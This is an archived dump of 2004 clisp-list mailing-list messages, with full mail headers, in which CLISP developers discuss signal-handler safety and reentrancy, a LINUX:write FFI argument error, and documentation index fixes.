sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CKwmQ-0000Lc-O1 for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 03:36:19 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 3AAFB10DE0D; Fri, 22 Oct 2004 06:36:14 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i9MAaDSI010631; Fri, 22 Oct 2004 06:36:14 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i9MAaDVp010628; Fri, 22 Oct 2004 06:36:13 -0400 Message-Id: <200410221036.i9MAaDVp010628@van-halen.alma.com> From: "John K. Hinsdale" To: pjb@informatimago.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <20041022051531.D6BF63AB68@thalassa.informatimago.com> (pjb@informatimago.com) Subject: Re: [clisp-list] linux:signal handling examples X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 03:54:04 2004 X-Original-Date: Fri, 22 Oct 2004 06:36:13 -0400 > From: "Pascal J.Bourguignon" > Date: Fri, 22 Oct 2004 07:15:31 +0200 (CEST) > > Usually, this is a big no-no in signal handlers in C. (About the only > thing that can be done safely and portably being to set an atomic > global variable). Pascal, I'm not sure what the "official rules" are with regard to signal handlers in C -- actually signal() is a Unix thing not a "C" thing. In any case, depending on the signal sent, it is frequently safe and extremely useful to do something non-trivial in the handler. Certain signals are almost certain to be "safe" such as timer alarms (SIGALRM), and signals generated by the user himself (SIGUSERn). Others like memory violation mean something has gone wrong with the program execution (at the "C" level) itself and things will be less predictable. I suspect that it is because of these more benign signals, where one might reasonably want to be able to do something non-trivial in the handler, and could do so safely, that the full power is allowed in the handler. Hope all that made sense. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Fri Oct 22 07:09:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL07C-0003Ua-QZ for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 07:09:58 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL07B-0007wa-DD for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 07:09:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i9ME9g0A025676; Fri, 22 Oct 2004 10:09:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041022082201.0AA9F3AB68@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Oct 2004 10:22:01 +0200 (CEST)") References: <20041022082201.0AA9F3AB68@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: linux:write bogus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 07:13:59 2004 X-Original-Date: Fri, 22 Oct 2004 10:09:42 -0400 > * Pascal J.Bourguignon [2004-10-22 10:22:01 +0200]: > > *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR) LINUX:write wants 3 arguments. -- Sam Steingold (http://www.podval.org/~sds) running w2k (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From bruno@clisp.org Fri Oct 22 07:49:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL0jR-0005TY-5N for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 07:49:29 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CL0jQ-0001mD-Fh for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 07:49:29 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id i9MEnIiJ013125 for ; Fri, 22 Oct 2004 16:49:18 +0200 (MET DST) Received: from skymaple.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id i9MEnCOg010656; Fri, 22 Oct 2004 16:49:12 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id 782D83B3C3; Fri, 22 Oct 2004 14:43:46 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200410221643.45411.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: some fun (BUGS!) with signals Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 07:55:08 2004 X-Original-Date: Fri, 22 Oct 2004 16:43:45 +0200 > [22]> (linux:set-signal-handler linux:SIGALRM (lambda (signal) (princ "."))) Completely undefined behaviour, because signals are asynchronous interrupts. > *** - +: "." is not a NUMBER Your signal handler clobbered some global variables inside the clisp interpreter or bytecode interpreter. Completely undefined behaviour also, because POSIX does not allow doing file I/O from within a signal handler. You are effectively trying to do multithreading on an implementation that doesn't support multithreading, using a technique that is - according to POSIX - too restricted for doing multithreading. Bruno From sds@gnu.org Fri Oct 22 10:24:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL39V-00061E-Bp for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 10:24:33 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL39S-00074A-Pk for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 10:24:33 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: rTftBA1K4SnBXji7pJ97AMmKJgwrAN2nh1aNR9C8ySk= Received: from [198.112.236.6] (port=15310 helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CL39M-0000oO-28; Fri, 22 Oct 2004 13:24:24 -0400 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041022065144.8EC163AB68@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Oct 2004 08:51:44 +0200 (CEST)") References: <20041022065144.8EC163AB68@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_LESSTHAN BODY: Text interparsed with < 0.5 HTML_20_30 BODY: Message is 20% to 30% HTML Subject: [clisp-list] Re: lacking index of implnotes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 10:28:06 2004 X-Original-Date: Fri, 22 Oct 2004 13:24:19 -0400 > * Pascal J.Bourguignon [2004-10-22 08:51:44 +0200]: > > http://clisp.cons.org/impnotes/idx.html > > Only very little terms and implementation specific functions are > indexed. For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present. fixing this requires going through the XML sources and wrapping every instance of FOO which is to be mentioned in the index with FOO FOO (note that "foo" should be the ID of the unit where FOO first appears) See the appended diff for an example. any volunteers? -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not worry about which side your bread is buttered on: you eat BOTH sides. --- impbody.xml 15 Oct 2004 15:23:37 -0400 1.280 +++ impbody.xml 22 Oct 2004 10:55:02 -0400 @@ -3701,8 +3701,16 @@
Functions - <function>EXT:MAKE-BUFFERED-INPUT-STREAM</function> and - <function>EXT:MAKE-BUFFERED-OUTPUT-STREAM</function> + EXT:MAKE-BUFFERED-INPUT-STREAM + + + EXT:MAKE-BUFFERED-INPUT-STREAM + and + EXT:MAKE-BUFFERED-OUTPUT-STREAM + + + EXT:MAKE-BUFFERED-OUTPUT-STREAM + (EXT:MAKE-BUFFERED-OUTPUT-STREAM &func-r;) returns a buffered &out-s;. From sds@gnu.org Fri Oct 22 10:39:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL3Ns-0002Ov-FS for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 10:39:24 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL3Nr-0000Kz-1v for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 10:39:24 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: j42E82VM7qaXjIbelnNQTX/FjNKMX2PuyRUAtrrSqnE= Received: from [198.112.236.6] (port=18511 helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CL3Nf-00036d-59; Fri, 22 Oct 2004 13:39:11 -0400 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041022082324.DDF0C3AB68@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Oct 2004 10:23:24 +0200 (CEST)") References: <20041022082324.DDF0C3AB68@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: make-stream documentation error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 10:44:25 2004 X-Original-Date: Fri, 22 Oct 2004 13:39:10 -0400 > * Pascal J.Bourguignon [2004-10-22 10:23:24 +0200]: > > The documentation of MAKE-STREAM says: > > The handle is duplicated (with dup/dup2), so it is safe to CLOSE a > STREAM returned by EXT:MAKE-STREAM. fixed the code to comply with the spec. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Isn't "Microsoft Works" an advertisement lie? From pascal@informatimago.com Fri Oct 22 12:14:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL4rX-0006bK-Kf for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:14:07 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL4rT-0003ZH-UI for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:14:07 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5BB5D586E2; Fri, 22 Oct 2004 21:14:00 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5D9F050EA1; Fri, 22 Oct 2004 21:13:34 +0200 (CEST) Message-ID: <16761.23518.350817.781537@thalassa.informatimago.com> To: "John K. Hinsdale" Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux:signal handling examples In-Reply-To: <200410221036.i9MAaDVp010628@van-halen.alma.com> References: <20041022051531.D6BF63AB68@thalassa.informatimago.com> <200410221036.i9MAaDVp010628@van-halen.alma.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 12:15:02 2004 X-Original-Date: Fri, 22 Oct 2004 21:13:34 +0200 John K. Hinsdale writes: > > > From: "Pascal J.Bourguignon" > > Date: Fri, 22 Oct 2004 07:15:31 +0200 (CEST) > > > > Usually, this is a big no-no in signal handlers in C. (About the only > > thing that can be done safely and portably being to set an atomic > > global variable). > > Pascal, > > I'm not sure what the "official rules" are with regard to signal > handlers in C -- actually signal() is a Unix thing not a "C" thing. > > In any case, depending on the signal sent, it is frequently safe and > extremely useful to do something non-trivial in the handler. > > Certain signals are almost certain to be "safe" such as timer alarms > (SIGALRM), and signals generated by the user himself (SIGUSERn). > Others like memory violation mean something has gone wrong with the > program execution (at the "C" level) itself and things will be less > predictable. > > I suspect that it is because of these more benign signals, where one > might reasonably want to be able to do something non-trivial in the > handler, and could do so safely, that the full power is allowed in > the handler. > > Hope all that made sense. The problem is not relative to the benign aspect of the signal. It's relative to the re-entrance of the rest of the program. Assume you get a SIGALRM while the GC is copying a string value. (defparameter *example* (format nil "Some text, and some more.")) Let's say for example, that (symbol-value '*example*) is # and that the GC has already copied this: # And your signal handler is: (let ((count 0)) (lambda (signal) (incf count) (replace *example* (format nil "~4D" count) :end1 4))) Then at the end of the signal handler, you'll have the following strings: # # and the GC resumes, copying the rest: # # and then update the (symbol-value '*example*) which now is: # Bang! The side effect of the signal handler is lost! You can easily conceive worse cases. In the real examples I gave, clisp enters the debugger for spurious reasons, the execution stack being apparently corrupted. One possibility is to put locks everywhere. You'd have to be very careful not to dead-lock anyway, and if the resources needed by the signal handler are locked, it can't do anything anyway. I did not want to mention performance either. If you have threads, it's possible to aleviate somewhat the problem setting up things so one thread is reserved to receive the signals and the other threads ignore all signals. Then the normal thread mutex will come into play and you could more or less safely do anything in the signal handler. But clisp hasn't threads... -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Fri Oct 22 12:31:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL58l-0007o7-1A for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:31:55 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CL58j-0004Wz-WD for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:31:54 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AC5C7586E2; Fri, 22 Oct 2004 21:31:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A827750EA5; Fri, 22 Oct 2004 21:31:25 +0200 (CEST) Message-ID: <16761.24589.638193.533958@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Subject: [clisp-list] Re: linux:write bogus In-Reply-To: References: <20041022082201.0AA9F3AB68@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 12:32:08 2004 X-Original-Date: Fri, 22 Oct 2004 21:31:25 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-10-22 10:22:01 +0200]: > > > > *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR) > > LINUX:write wants 3 arguments. Sorry, I did not cut-and-paste the right test. Since it first complained for too many arguments, I tried with one less assuming it computed the size automatically, but the problem was not that. Here is the right test: CL-USER> (multiple-value-bind (res fds) (linux:|pipe|) (ffi:with-foreign-string (fstr flen fsiz "Hello") (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz))))) FFI::FOREIGN-CALL-OUT: Too many arguments (4 instead of at most 3) given to # [Condition of type SYSTEM::SIMPLE-PROGRAM-ERROR] Restarts: 0: [ABORT] Abort handling SLIME request. Backtrace: 0: frame binding variables (~ = dynamically): | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL 1: EVAL frame for form (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL) 2: EVAL frame for form (LIST 'WROTE (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL)) 3: EVAL frame for form (PRINT (LIST 'WROTE (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL))) 4: APPLY frame for call (:LAMBDA '# '6 '6) 5: EVAL frame for form (FFI::EXEC-WITH-FOREIGN-STRING (LAMBDA (FSTR FLEN FSIZ) (PRINT `(WROTE ,#))) "Hello") 6: EVAL frame for form (FFI:WITH-FOREIGN-STRING (FSTR FLEN FSIZ "Hello") (PRINT `(WROTE ,(LINUX:write # FSTR FSIZ)))) 7: EVAL frame for form (MULTIPLE-VALUE-BIND (RES FDS) (LINUX:pipe) (FFI:WITH-FOREIGN-STRING (FSTR FLEN FSIZ "Hello") (PRINT `(WROTE ,#)))) 8: EVAL frame for form (SWANK:LISTENER-EVAL "(multiple-value-bind (res fds) (linux:|pipe|) (ffi:with-foreign-string (fstr flen fsiz \"Hello\") (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz))))) ") 9: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.22596") 10: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.22596") -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From pascal@informatimago.com Fri Oct 22 12:36:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL5DO-00086c-5n for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:36:42 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL5DN-0005tl-DI for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:36:42 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6A209586E2; Fri, 22 Oct 2004 21:36:39 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5B9CD50EA5; Fri, 22 Oct 2004 21:36:13 +0200 (CEST) Message-ID: <16761.24877.332611.41249@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: some fun (BUGS!) with signals In-Reply-To: <200410221643.45411.bruno@clisp.org> References: <200410221643.45411.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 12:37:01 2004 X-Original-Date: Fri, 22 Oct 2004 21:36:13 +0200 Bruno Haible writes: > > [22]> (linux:set-signal-handler linux:SIGALRM (lambda (signal) (princ "."))) > > Completely undefined behaviour, because signals are asynchronous interrupts. > > > *** - +: "." is not a NUMBER > > Your signal handler clobbered some global variables inside the clisp > interpreter or bytecode interpreter. > > Completely undefined behaviour also, because POSIX does not allow doing > file I/O from within a signal handler. > > You are effectively trying to do multithreading on an implementation that > doesn't support multithreading, using a technique that is - according to > POSIX - too restricted for doing multithreading. Oh. That was what I thought first then (message Subject: linux:signal handling examples Message-ID: <20041022051531.D6BF63AB68@thalassa.informatimago.com>). The example in wrap.lisp (actually, not in linux.lisp), is wrong in using FORMAT inside the signal handler... -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From sds@gnu.org Fri Oct 22 12:42:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL5Iu-0008Oc-RV for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:42:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CL5Iu-0006Ss-6o for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:42:24 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by 